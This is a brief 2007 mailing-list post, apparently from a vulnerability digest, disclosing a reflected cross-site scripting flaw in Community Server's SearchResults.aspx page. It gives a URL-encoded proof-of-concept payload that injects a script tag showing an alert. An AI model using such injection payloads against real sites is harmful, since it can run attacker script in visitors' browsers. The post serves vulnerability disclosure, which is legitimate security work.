Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

Inertia News Remote File İnclude

XSS in eWay

XSS in lighttpd

XSS in JBoss Portal

From:	bl4ck_(at)_bsdmail.org <bl4ck_(at)_bsdmail.org>
Date:	13.02.2007
Subject:	XSS in communityserver !

hey guys .. check out this new xss i just found  ;P  

Vulnerable : communityserver Commercial edition
web : http://communityserver.org/

XSS :

http://localhost/path/search/SearchResults.
aspx?q=%22%3e%3cscript%3ealert(%27bl4ck%27)%3
c%2fscript%3e&o=Relevance


Discovered  By BLacK ZeRo
bL4ck@bsdmail.org

Best regards ,,